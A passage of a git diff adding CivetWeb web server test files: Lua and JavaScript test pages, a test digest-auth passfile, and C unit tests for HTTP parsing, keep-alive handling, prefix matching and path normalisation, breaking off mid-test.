+ mg.write(" No query string. You may try <a href='?a=a1&junk&b=b2&cc=cNotSet&d=a, b and d should be set&z=z'>this example</a>.\r\n")
+else
+ for _,var in ipairs({'a','b','c','d'}) do
+ value = mg.get_var(mg.request_info.query_string, var);
+ if value then
+ mg.write(" Variable " .. var .. ": value " .. value .. "\r\n");
+ else
+ mg.write(" Variable " .. var .. " not set\r\n");
+ end
+ end
+end
+mg.write("\r\n")
+
+-- md5
+mg.write("MD5 test:\r\n")
+test_string = "abcd\0efgh"
+mg.write(" String with embedded 0, length " .. string.len(test_string))
+test_md5 = mg.md5(test_string)
+mg.write(", MD5 " .. test_md5 .. "\r\n")
+if mg.md5("") == "d41d8cd98f00b204e9800998ecf8427e" then
+ mg.write(" MD5 of empty string OK\r\n")
+else
+ mg.write(" Error: MD5 of empty string NOT OK\r\n")
+end
+if mg.md5("The quick brown fox jumps over the lazy dog.") == "e4d909c290d0fb1ca068ffaddf22cbd0" then
+ mg.write(" MD5 of test string OK\r\n")
+else
+ mg.write(" Error: MD5 of test string NOT OK\r\n")
+end
+mg.write("\r\n")
+
+-- get_cookie
+mg.write("Cookie test:\r\n")
+if not cookie_value then
+ mg.write(" Cookie not set yet. Please reload the page.\r\n")
+else
+ mg.write(" Cookie set to " .. cookie_value .. "\r\n")
+ mg.write(" You visited this page " .. os.difftime(now, cookie_value) .. " seconds before.\r\n")
+end
+mg.write("\r\n")
+
+-- test 'require' of other Lua scripts
+mg.write("require test\r\n")
+script_path = mg.script_name:match("(.*)page%d*.lua")
+if type(script_path)=='string' then
+ package.path = script_path .. "?.lua;" .. package.path
+ mg.write(" Lua search path: " .. package.path .. "\r\n")
+ require "html_esc"
+ require "require_test"
+ if htmlEscape then
+ for i=0,15 do
+ mg.write(" ")
+ for j=0,15 do
+ mg.write(tostring(htmlEscape[16*i+j]))
+ end
+ mg.write("\r\n")
+ end
+ else
+ mg.write(" 'require' test failed (htmlEscape)\r\n")
+ end
+ if HugeText then
+ mg.write("\r\n")
+ local ht = HugeText(os.date("%a %b. %d"))
+ for i=1,#ht do
+ mg.write(" " .. ht[i] .. "\r\n")
+ end
+ else
+ mg.write(" 'require' test failed (HugeText)\r\n")
+ end
+else
+ mg.write(" name match failed\r\n")
+end
+mg.write("\r\n")
+
+-- test get_response_code_text
+mg.write("HTTP helper methods test:\r\n")
+if (htmlEscape("<a b & c d>") == "<a b & c d>") then
+ mg.write(" htmlEscape test OK\r\n")
+else
+ mg.write(" Error: htmlEscape test NOT OK\r\n")
+end
+if (mg.get_response_code_text(200) == "OK") then
+ mg.write(" get_response_code_text test OK\r\n")
+else
+ mg.write(" Error: get_response_code_text test NOT OK\r\n")
+end
+mg.write("\r\n")
+
+-- url_encode
+mg.write("URL encode/decode test:\r\n")
+if mg.url_encode("") == "" then
+ mg.write(" url_encode of empty string OK\r\n")
+else
+ mg.write(" Error: url_encode of empty string NOT OK\r\n")
+end
+raw_string = [[ !"#$%&'()*+,-./0123456789:;<=>?@]]
+mg.write(" original string: " .. htmlEscape(raw_string) .. "\r\n")
+mg_string = mg.url_encode(raw_string):upper()
+ref_string = "%20!%22%23%24%25%26'()*%2B%2C-.%2F0123456789%3A%3B%3C%3D%3E%3F%40" -- from http://www.w3schools.com/tags/ref_urlencode.asp
+mg.write(" mg-url: " .. htmlEscape(mg_string) .. "\r\n")
+mg.write(" reference url: " .. htmlEscape(ref_string) .. "\r\n")
+dec_mg_string = mg.url_decode(mg_string)
+dec_ref_string = mg.url_decode(ref_string)
+mg.write(" decoded mg-url: " .. htmlEscape(dec_mg_string) .. "\r\n")
+mg.write(" decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
+dec_mg_string = mg.url_decode(mg_string, false)
+dec_ref_string = mg.url_decode(ref_string, false)
+mg.write(" decoded mg-url: " .. htmlEscape(dec_mg_string) .. "\r\n")
+mg.write(" decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
+dec_mg_string = mg.url_decode(mg_string, true)
+dec_ref_string = mg.url_decode(ref_string, true)
+mg.write(" decoded mg-url: " .. htmlEscape(dec_mg_string) .. "\r\n")
+mg.write(" decoded reference url: " .. htmlEscape(dec_ref_string) .. "\r\n")
+mg.write("\r\n")
+
+-- base64_encode
+mg.write("BASE64 encode/decode test:\r\n")
+raw_string = [[ !"#$%&'()*+,-./0123456789:;<=>?@]]
+mg.write(" original string: " .. htmlEscape(raw_string) .. "\r\n")
+mg_string = mg.base64_encode(raw_string)
+ref_string = "ICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9Pj9A" -- from http://www.base64encode.org/
+mg.write(" mg-base64: " .. htmlEscape(mg_string) .. "\r\n")
+mg.write(" reference base64: " .. htmlEscape(ref_string) .. "\r\n")
+dec_mg_string = mg.base64_decode(mg_string)
+dec_ref_string = mg.base64_decode(ref_string)
+mg.write(" decoded mg-base64: " .. htmlEscape(dec_mg_string) .. "\r\n")
+mg.write(" decoded reference base64: " .. htmlEscape(dec_ref_string) .. "\r\n")
+mg.write("\r\n")
+raw_string = [[<?> -?-]]
+mg.write(" original string: " .. htmlEscape(raw_string) .. "\r\n")
+mg_string = mg.base64_encode(raw_string)
+ref_string = "PD8+IC0/LQ==" -- from http://www.base64encode.org/
+mg.write(" mg-base64: " .. htmlEscape(mg_string) .. "\r\n")
+mg.write(" reference base64: " .. htmlEscape(ref_string) .. "\r\n")
+dec_mg_string = mg.base64_decode(mg_string)
+dec_ref_string = mg.base64_decode(ref_string)
+mg.write(" decoded mg-base64: " .. htmlEscape(dec_mg_string) .. "\r\n")
+mg.write(" decoded reference base64: " .. htmlEscape(dec_ref_string) .. "\r\n")
+mg.write("\r\n")
+
+-- random
+mg.write("Random numbers:\r\n")
+for i=1,10 do mg.write(string.format("%18u\r\n", mg.random())) end
+mg.write("\r\n")
+
+-- uuid
+if mg.uuid then
+mg.write("UUIDs:\r\n")
+for i=1,10 do mg.write(string.format("%40s\r\n", mg.uuid())) end
+mg.write("\r\n")
+end
+
+-- end of page
+mg.write("</pre>\r\n</body>\r\n</html>\r\n")
diff --git a/src/civetweb/test/page5.lua b/src/civetweb/test/page5.lua new file mode 100644 index 000000000..dcf7f9f55 --- /dev/null +++ b/src/civetweb/test/page5.lua @@ -0,0 +1,8 @@ +mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Content-Type: text/html\r\n")
+mg.write("\r\n")
+mg.write([[<html><body><p>
+Hello world!
+</p>
+</body></html>
+]])
diff --git a/src/civetweb/test/page6.lua b/src/civetweb/test/page6.lua new file mode 100644 index 000000000..dc3043970 --- /dev/null +++ b/src/civetweb/test/page6.lua @@ -0,0 +1,16 @@ +mg.write("HTTP/1.0 200 OK\r\n") +mg.write("Content-Type: text/plain\r\n") +mg.write("\r\n") +mg.write(mg.request_info.request_method .. " " .. mg.request_info.request_uri .. " HTTP/" .. mg.request_info.http_version .. "\r\n") +for k,v in pairs(mg.request_info.http_headers) do + mg.write(k .. ": " .. v .. "\r\n") +end +mg.write("\r\n") + +repeat + local r = mg.read() + if (r) then + mg.write(r) + end +until not r + diff --git a/src/civetweb/test/page_keep_alive.lua b/src/civetweb/test/page_keep_alive.lua new file mode 100644 index 000000000..d869ce46f --- /dev/null +++ b/src/civetweb/test/page_keep_alive.lua @@ -0,0 +1,34 @@ +-- Set keep_alive. The return value specifies if this is possible at all. +canKeepAlive = mg.keep_alive(true) + +if canKeepAlive then + -- Create the entire response in a string variable first. Content-Length will be set to the length of this string. + reply = [[ + <html><body> + <p>This is a Lua script supporting html keep-alive with the + <a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. + </p> + <p>It works by setting the Content-Length header field properly. + </body></html> + ]] +else + reply = "<html><body>Keep alive not possible!</body></html>" +end + +-- First send the http headers +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("Date: " .. os.date("!%a, %d %b %Y %H:%M:%S") .. " GMT\r\n") +mg.write("Cache-Control: no-cache\r\n") + +if canKeepAlive then + mg.write("Content-Length: " .. tostring(string.len(reply)) .. "\r\n") + mg.write("Connection: keep-alive\r\n") +else + mg.write("Connection: close\r\n") +end +mg.write("\r\n") + +-- Finally send the content +mg.write(reply) + diff --git a/src/civetweb/test/page_keep_alive_chunked.lua b/src/civetweb/test/page_keep_alive_chunked.lua new file mode 100644 index 000000000..28ac7d129 --- /dev/null +++ b/src/civetweb/test/page_keep_alive_chunked.lua @@ -0,0 +1,66 @@ +-- Set keep_alive. The return value specifies if this is possible at all. +canKeepAlive = mg.keep_alive(true) +now = os.date("!%a, %d %b %Y %H:%M:%S") + +-- First send the http headers +mg.write("HTTP/1.1 200 OK\r\n") +mg.write("Content-Type: text/html\r\n") +mg.write("Date: " .. now .. " GMT\r\n") +mg.write("Cache-Control: no-cache\r\n") +mg.write("Last-Modified: " .. now .. " GMT\r\n") +if not canKeepAlive then + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("<html><body>Keep alive not possible!</body></html>") + return +end +if mg.request_info.http_version ~= "1.1" then + -- wget will use HTTP/1.0 and Connection: keep-alive, so chunked transfer is not possible + mg.write("Connection: close\r\n") + mg.write("\r\n") + mg.write("<html><body>Chunked transfer is only possible for HTTP/1.1 requests!</body></html>") + mg.keep_alive(false) + return +end + +-- use chunked encoding (http://www.jmarshall.com/easy/http/#http1.1c2) +mg.write("Cache-Control: max-age=0, must-revalidate\r\n") +--mg.write("Cache-Control: no-cache\r\n") +--mg.write("Cache-Control: no-store\r\n") +mg.write("Connection: keep-alive\r\n") +mg.write("Transfer-Encoding: chunked\r\n") +mg.write("\r\n") + +-- function to send a chunk +function send(str) + local len = string.len(str) + mg.write(string.format("%x\r\n", len)) + mg.write(str.."\r\n") +end + +-- send the chunks +send("<html>") +send("<head><title>Civetweb Lua script chunked transfer test page</title></head>") +send("<body>\n") + +fileCnt = 0 +if lfs then + send("Files in " .. lfs.currentdir()) + send('\n<table border="1">\n') + send('<tr><th>name</th><th>type</th><th>size</th></tr>\n') + for f in lfs.dir(".") do + local at = lfs.attributes(f); + if at then + send('<tr><td>' .. f .. '</td><td>' .. at.mode .. '</td><td>' .. at.size .. '</td></tr>\n') + end + fileCnt = fileCnt + 1 + end + send("</table>\n") +end + +send(fileCnt .. " entries (" .. now .. " GMT)\n") +send("</body>") +send("</html>") + +-- end +send("") diff --git a/src/civetweb/test/page_status.lua b/src/civetweb/test/page_status.lua new file mode 100644 index 000000000..3c9b0eb74 --- /dev/null +++ b/src/civetweb/test/page_status.lua @@ -0,0 +1,38 @@ +mg.write("HTTP/1.0 200 OK\r\n")
+
+-- MIME type: https://www.ietf.org/rfc/rfc4627.txt, chapter 6
+mg.write("Content-Type: application/json\r\n")
+
+mg.write("\r\n")
+
+num_threads = mg.get_option("num_threads")
+num_threads = tonumber(num_threads)
+
+
+function n(s)
+ if ((type(s) == "string") and (#s > 0)) then
+ return s
+ else
+ return "null"
+ end
+end
+
+
+mg.write("{\r\n\"system\" :\r\n")
+
+mg.write(n(mg.get_info("system")))
+
+mg.write(",\r\n\"summary\" :\r\n")
+mg.write(n(mg.get_info("context")))
+mg.write(",\r\n\"common\" :\r\n")
+mg.write(n(mg.get_info("common")))
+mg.write(",\r\n\"connections\" :\r\n[\r\n")
+
+ mg.write(n(mg.get_info("connection", 1)))
+
+for i=2,num_threads do
+ mg.write(",\r\n")
+ mg.write(n(mg.get_info("connection", i)))
+end
+mg.write("]\r\n}\r\n")
+
diff --git a/src/civetweb/test/passfile b/src/civetweb/test/passfile new file mode 100644 index 000000000..58c313a7d --- /dev/null +++ b/src/civetweb/test/passfile @@ -0,0 +1,3 @@ +guest:mydomain.com:485264dcc977a1925370b89d516a1477 +Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983 + diff --git a/src/civetweb/test/prime.ssjs b/src/civetweb/test/prime.ssjs new file mode 100644 index 000000000..6dc3243a7 --- /dev/null +++ b/src/civetweb/test/prime.ssjs @@ -0,0 +1,36 @@ +// prime.js
+
+// Pure Ecmascript version of low level helper
+function primeCheckEcmascript(val, limit) {
+ for (var i = 2; i <= limit; i++) {
+ if ((val % i) == 0) { return false; }
+ }
+ return true;
+}
+
+// Select available helper at load time
+var primeCheckHelper = (this.primeCheckNative || primeCheckEcmascript);
+
+// Check 'val' for primality
+function primeCheck(val) {
+ if (val == 1 || val == 2) { return true; }
+ var limit = Math.ceil(Math.sqrt(val));
+ while (limit * limit < val) { limit += 1; }
+ return primeCheckHelper(val, limit);
+}
+
+function primeTest() {
+ var res = [];
+
+ print('Have native helper: ' + (primeCheckHelper !== primeCheckEcmascript) + '\n');
+ for (var i = 2; i <= 1000; i++) {
+ if (primeCheck(i)) { res.push(i); }
+ }
+ print(res.join(' '));
+}
+
+print = this.send || conn.write
+
+print('HTTP/1.0 200 OK\r\nContent-Type: text/plain\r\n\r\n');
+
+primeTest();
diff --git a/src/civetweb/test/private.c b/src/civetweb/test/private.c new file mode 100644 index 000000000..9b34f5950 --- /dev/null +++ b/src/civetweb/test/private.c @@ -0,0 +1,1018 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +/** + * We include the source file so that we have access to the internal private + * static functions + */ +#ifdef _MSC_VER +#ifndef _CRT_SECURE_NO_WARNINGS +#define _CRT_SECURE_NO_WARNINGS +#endif +#define CIVETWEB_API static +#endif + +#ifdef REPLACE_CHECK_FOR_LOCAL_DEBUGGING +#undef MEMORY_DEBUGGING +#endif + +#include "../src/civetweb.c" + +#include <stdlib.h> +#include <time.h> + +#include "private.h" + + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +static char tmp_parse_buffer[1024]; + +static int +test_parse_http_response(char *buf, int len, struct mg_response_info *ri) +{ + ck_assert_int_lt(len, (int)sizeof(tmp_parse_buffer)); + memcpy(tmp_parse_buffer, buf, (size_t)len); + return parse_http_response(tmp_parse_buffer, len, ri); +} + +static int +test_parse_http_request(char *buf, int len, struct mg_request_info *ri) +{ + ck_assert_int_lt(len, (int)sizeof(tmp_parse_buffer)); + memcpy(tmp_parse_buffer, buf, (size_t)len); + return parse_http_request(tmp_parse_buffer, len, ri); +} + + +START_TEST(test_parse_http_message) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct mg_request_info ri; + struct mg_response_info respi; + char empty[] = ""; + char space[] = " \x00"; + char req1[] = "GET / HTTP/1.1\r\n\r\n"; + char req2[] = "BLAH / HTTP/1.1\r\n\r\n"; + char req3[] = "GET / HTTP/1.1\nKey: Val\n\n"; + char req4[] = + "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nskip\r\nbaz:\r\n\r\n"; + char req5[] = "GET / HTTP/1.0\n\n"; + char req6[] = "G"; + char req7[] = " blah "; + char req8[] = "HTTP/1.0 404 Not Found\n\n"; + char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n"; + + char req10[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\n\r\n"; + + char req11[] = "GET /\r\nError: X\r\n\r\n"; + + char req12[] = + "POST /a/b/c.d?e=f&g HTTP/1.1\r\nKey1: val1\r\nKey2: val2\r\n\r\nBODY"; + + + int lenreq1 = (int)strlen(req1); + int lenreq2 = (int)strlen(req2); + int lenreq3 = (int)strlen(req3); + int lenreq4 = (int)strlen(req4); + int lenreq5 = (int)strlen(req5); + int lenreq6 = (int)strlen(req6); + int lenreq7 = (int)strlen(req7); + int lenreq8 = (int)strlen(req8); + int lenreq9 = (int)strlen(req9); + int lenreq10 = (int)strlen(req10); + int lenreq11 = (int)strlen(req11); + int lenreq12 = (int)strlen(req12); + int lenhdr12 = lenreq12 - 4; /* length without body */ + + mark_point(); + + /* An empty string is neither a complete request nor a complete + * response, so it must return 0 */ + ck_assert_int_eq(0, get_http_header_len(empty, 0)); + ck_assert_int_eq(0, test_parse_http_request(empty, 0, &ri)); + ck_assert_int_eq(0, test_parse_http_response(empty, 0, &respi)); + + /* Same is true for a leading space */ + ck_assert_int_eq(0, get_http_header_len(space, 1)); + ck_assert_int_eq(0, test_parse_http_request(space, 1, &ri)); + ck_assert_int_eq(0, test_parse_http_response(space, 1, &respi)); + + /* But a control character (like 0) makes it invalid */ + ck_assert_int_eq(-1, get_http_header_len(space, 2)); + ck_assert_int_eq(-1, test_parse_http_request(space, 2, &ri)); + ck_assert_int_eq(-1, test_parse_http_response(space, 2, &respi)); + + + /* req1 minus 1 byte at the end is incomplete */ + ck_assert_int_eq(0, get_http_header_len(req1, lenreq1 - 1)); + + + /* req1 minus 1 byte at the start is complete but invalid */ + ck_assert_int_eq(lenreq1 - 1, get_http_header_len(req1 + 1, lenreq1 - 1)); + ck_assert_int_eq(-1, test_parse_http_request(req1 + 1, lenreq1 - 1, &ri)); + + + /* req1 is a valid request */ + ck_assert_int_eq(lenreq1, get_http_header_len(req1, lenreq1)); + ck_assert_int_eq(-1, test_parse_http_response(req1, lenreq1, &respi)); + ck_assert_int_eq(lenreq1, test_parse_http_request(req1, lenreq1, &ri)); + ck_assert_str_eq("1.1", ri.http_version); + ck_assert_int_eq(0, ri.num_headers); + + + /* req2 is a complete, but invalid request */ + ck_assert_int_eq(lenreq2, get_http_header_len(req2, lenreq2)); + ck_assert_int_eq(-1, test_parse_http_request(req2, lenreq2, &ri)); + + + /* req3 is a complete and valid request */ + ck_assert_int_eq(lenreq3, get_http_header_len(req3, lenreq3)); + ck_assert_int_eq(lenreq3, test_parse_http_request(req3, lenreq3, &ri)); + ck_assert_int_eq(-1, test_parse_http_response(req3, lenreq3, &respi)); + + + /* Multiline header are obsolete, so return an error + * (https://tools.ietf.org/html/rfc7230#section-3.2.4). */ + ck_assert_int_eq(-1, test_parse_http_request(req4, lenreq4, &ri)); + + + /* req5 is a complete and valid request (also somewhat malformed, + * since it uses \n\n instead of \r\n\r\n) */ + ck_assert_int_eq(lenreq5, get_http_header_len(req5, lenreq5)); + ck_assert_int_eq(-1, test_parse_http_response(req5, lenreq5, &respi)); + ck_assert_int_eq(lenreq5, test_parse_http_request(req5, lenreq5, &ri)); + ck_assert_str_eq("GET", ri.request_method); + ck_assert_str_eq("1.0", ri.http_version); + + + /* req6 is incomplete */ + ck_assert_int_eq(0, get_http_header_len(req6, lenreq6)); + ck_assert_int_eq(0, test_parse_http_request(req6, lenreq6, &ri)); + + + /* req7 is invalid, but not yet complete */ + ck_assert_int_eq(0, get_http_header_len(req7, lenreq7)); + ck_assert_int_eq(0, test_parse_http_request(req7, lenreq7, &ri)); + + + /* req8 is a valid response */ + ck_assert_int_eq(lenreq8, get_http_header_len(req8, lenreq8)); + ck_assert_int_eq(-1, test_parse_http_request(req8, lenreq8, &ri)); + ck_assert_int_eq(lenreq8, test_parse_http_response(req8, lenreq8, &respi)); + + + /* req9 is a valid response */ + ck_assert_int_eq(lenreq9, get_http_header_len(req9, lenreq9)); + ck_assert_int_eq(-1, test_parse_http_request(req9, lenreq9, &ri)); + ck_assert_int_eq(lenreq9, test_parse_http_response(req9, lenreq9, &respi)); + ck_assert_int_eq(1, respi.num_headers); + + + /* req10 is a valid request */ + ck_assert_int_eq(lenreq10, get_http_header_len(req10, lenreq10)); + ck_assert_int_eq(lenreq10, test_parse_http_request(req10, lenreq10, &ri)); + ck_assert_str_eq("1.1", ri.http_version); + ck_assert_int_eq(2, ri.num_headers); + ck_assert_str_eq("A", ri.http_headers[0].name); + ck_assert_str_eq("foo bar", ri.http_headers[0].value); + ck_assert_str_eq("B", ri.http_headers[1].name); + ck_assert_str_eq("bar", ri.http_headers[1].value); + + + /* req11 is a complete but valid request */ + ck_assert_int_eq(-1, test_parse_http_request(req11, lenreq11, &ri)); + + + /* req12 is a valid request with body data */ + ck_assert_int_gt(lenreq12, lenhdr12); + ck_assert_int_eq(lenhdr12, get_http_header_len(req12, lenreq12)); + ck_assert_int_eq(lenhdr12, test_parse_http_request(req12, lenreq12, &ri)); +} +END_TEST + + +START_TEST(test_should_keep_alive) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct mg_connection conn; + struct mg_context ctx; + char req1[] = "GET / HTTP/1.1\r\n\r\n"; + char req2[] = "GET / HTTP/1.0\r\n\r\n"; + char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n"; + char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n"; + char yes[] = "yes"; + char no[] = "no"; + + int lenreq1 = (int)strlen(req1); + int lenreq2 = (int)strlen(req2); + int lenreq3 = (int)strlen(req3); + int lenreq4 = (int)strlen(req4); + + mark_point(); + + memset(&ctx, 0, sizeof(ctx)); + memset(&conn, 0, sizeof(conn)); + conn.ctx = &ctx; + ck_assert_int_eq(test_parse_http_request(req1, lenreq1, &conn.request_info), + lenreq1); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 0); + + ctx.config[ENABLE_KEEP_ALIVE] = no; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + ctx.config[ENABLE_KEEP_ALIVE] = yes; + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.must_close = 1; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + conn.must_close = 0; + test_parse_http_request(req2, lenreq2, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 0); + ck_assert_int_eq(should_keep_alive(&conn), 0); + + test_parse_http_request(req3, lenreq3, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 1); + ck_assert_int_eq(should_keep_alive(&conn), 0); + + test_parse_http_request(req4, lenreq4, &conn.request_info); + conn.connection_type = 1; /* Valid request */ + ck_assert_int_eq(conn.request_info.num_headers, 1); + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.status_code = 200; + conn.must_close = 1; + ck_assert_int_eq(should_keep_alive(&conn), 0); + + conn.status_code = 200; + conn.must_close = 0; + ck_assert_int_eq(should_keep_alive(&conn), 1); + + conn.status_code = 200; + conn.must_close = 0; + conn.connection_type = 0; /* invalid */ + ck_assert_int_eq(should_keep_alive(&conn), 0); +} +END_TEST + + +START_TEST(test_match_prefix) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + ck_assert_int_eq(4, match_prefix("/api", 4, "/api")); + ck_assert_int_eq(3, match_prefix("/a/", 3, "/a/b/c")); + ck_assert_int_eq(-1, match_prefix("/a/", 3, "/ab/c")); + ck_assert_int_eq(4, match_prefix("/*/", 3, "/ab/c")); + ck_assert_int_eq(6, match_prefix("**", 2, "/a/b/c")); + ck_assert_int_eq(2, match_prefix("/*", 2, "/a/b/c")); + ck_assert_int_eq(2, match_prefix("*/*", 3, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/", 3, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**.foo|**.bar", 13, "a.bar")); + ck_assert_int_eq(2, match_prefix("a|b|cd", 6, "cdef")); + ck_assert_int_eq(2, match_prefix("a|b|c?", 6, "cdef")); + ck_assert_int_eq(1, match_prefix("a|?|cd", 6, "cdef")); + ck_assert_int_eq(-1, match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi")); + ck_assert_int_eq(12, match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi")); + ck_assert_int_eq(5, match_prefix("**/", 3, "/a/b/c")); + ck_assert_int_eq(-1, match_prefix("**/$", 4, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/$", 4, "/a/b/")); + ck_assert_int_eq(0, match_prefix("$", 1, "")); + ck_assert_int_eq(-1, match_prefix("$", 1, "x")); + ck_assert_int_eq(1, match_prefix("*$", 2, "x")); + ck_assert_int_eq(1, match_prefix("/$", 2, "/")); + ck_assert_int_eq(-1, match_prefix("**/$", 4, "/a/b/c")); + ck_assert_int_eq(5, match_prefix("**/$", 4, "/a/b/")); + ck_assert_int_eq(0, match_prefix("*", 1, "/hello/")); + ck_assert_int_eq(-1, match_prefix("**.a$|**.b$", 11, "/a/b.b/")); + ck_assert_int_eq(6, match_prefix("**.a$|**.b$", 11, "/a/b.b")); + ck_assert_int_eq(6, match_prefix("**.a$|**.b$", 11, "/a/B.A")); + ck_assert_int_eq(5, match_prefix("**o$", 4, "HELLO")); +} +END_TEST + + +START_TEST(test_remove_double_dots_and_double_slashes) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + struct { + char before[20], after[20]; + } data[] = { + {"////a", "/a"}, + {"/.....", "/."}, + {"/......", "/"}, + {"..", "."}, + {"...", "."}, + {"/...///", "/./"}, + {"/a...///", "/a.../"}, + {"/.x", "/.x"}, + {"/\\", "/"}, + {"/a\\", "/a\\"}, + {"/a\\\\...", "/a\\."}, + }; + size_t i; + + mark_point(); + + for (i = 0; i < ARRAY_SIZE(data); i++) { + remove_double_dots_and_double_slashes(data[i].before); + ck_assert_str_eq(data[i].before, data[i].after); + } +} +END_TEST + + +START_TEST(test_is_valid_uri) +{ + /* is_valid_uri is superseeded by get_uri_type */ + ck_assert_int_eq(2, get_uri_type("/api")); + ck_assert_int_eq(2, get_uri_type("/api/")); + ck_assert_int_eq(2, + get_uri_type("/some/long/path%20with%20space/file.xyz")); + ck_assert_int_eq(0, get_uri_type("api")); + ck_assert_int_eq(1, get_uri_type("*")); + ck_assert_int_eq(0, get_uri_type("*xy")); + ck_assert_int_eq(3, get_uri_type("http://somewhere/")); + ck_assert_int_eq(3, get_uri_type("https://somewhere/some/file.html")); + ck_assert_int_eq(4, get_uri_type("http://somewhere:8080/")); + ck_assert_int_eq(4, get_uri_type("https://somewhere:8080/some/file.html")); +} +END_TEST + + +START_TEST(test_next_option) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + const char *p, *list = "x/8,/y**=1;2k,z"; + struct vec a, b; + int i; + + mark_point(); + + ck_assert(next_option(NULL, &a, &b) == NULL); + for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) { + ck_assert(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0)); + ck_assert(i != 1 + || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 + && b.len == 4)); + ck_assert(i != 2 || (a.ptr == list + 14 && a.len == 1 && b.len == 0)); + } +} +END_TEST + + +START_TEST(test_skip_quoted) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + char x[] = "a=1, b=2, c='hi \' there', d='here\\, there'", *s = x, *p; + + mark_point(); + + p = skip_quoted(&s, ", ", ", ", 0); + ck_assert(p != NULL && !strcmp(p, "a=1")); + + p = skip_quoted(&s, ", ", ", ", 0); + ck_assert(p != NULL && !strcmp(p, "b=2")); + + p = skip_quoted(&s, ",", " ", 0); + ck_assert(p != NULL && !strcmp(p, "c='hi \' there'")); + + p = skip_quoted(&s, ",", " ", '\\'); + ck_assert(p != NULL && !strcmp(p, "d='here, there'")); + ck_assert(*s == 0); +} +END_TEST + + +static int +alloc_printf(char **buf, size_t size, const char *fmt, ...) +{ + /* Test helper function - adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + va_list ap; + int ret = 0; + + mark_point(); + + va_start(ap, fmt); + ret = alloc_vprintf(buf, *buf, size, fmt, ap); + va_end(ap); + + return ret; +} + + +static int +alloc_printf2(char **buf, const char *fmt, ...) +{ + /* Test alternative implementation */ + va_list ap; + int ret = 0; + + mark_point(); + + va_start(ap, fmt); + ret = alloc_vprintf2(buf, fmt, ap); + va_end(ap); + + return ret; +} + + +START_TEST(test_alloc_vprintf) +{ + /* Adapted from unit_test.c */ + /* Copyright (c) 2013-2015 the Civetweb developers */ + /* Copyright (c) 2004-2013 Sergey Lyubka */ + char buf[MG_BUF_LEN], *p = buf; + mark_point(); + + ck_assert(alloc_printf(&p, sizeof(buf), "%s", "hi") == 2); + ck_assert(p == buf); + + ck_assert(alloc_printf(&p, sizeof(buf), "%s", "") == 0); + ck_assert(p == buf); + + ck_assert(alloc_printf(&p, sizeof(buf), "") == 0); + ck_assert(p == buf); + + /* Pass small buffer, make sure alloc_printf allocates */ + ck_assert(alloc_printf(&p, 1, "%s", "hello") == 5); + ck_assert(p != buf); + mg_free(p); + p = buf; + + /* Test alternative implementation */ + 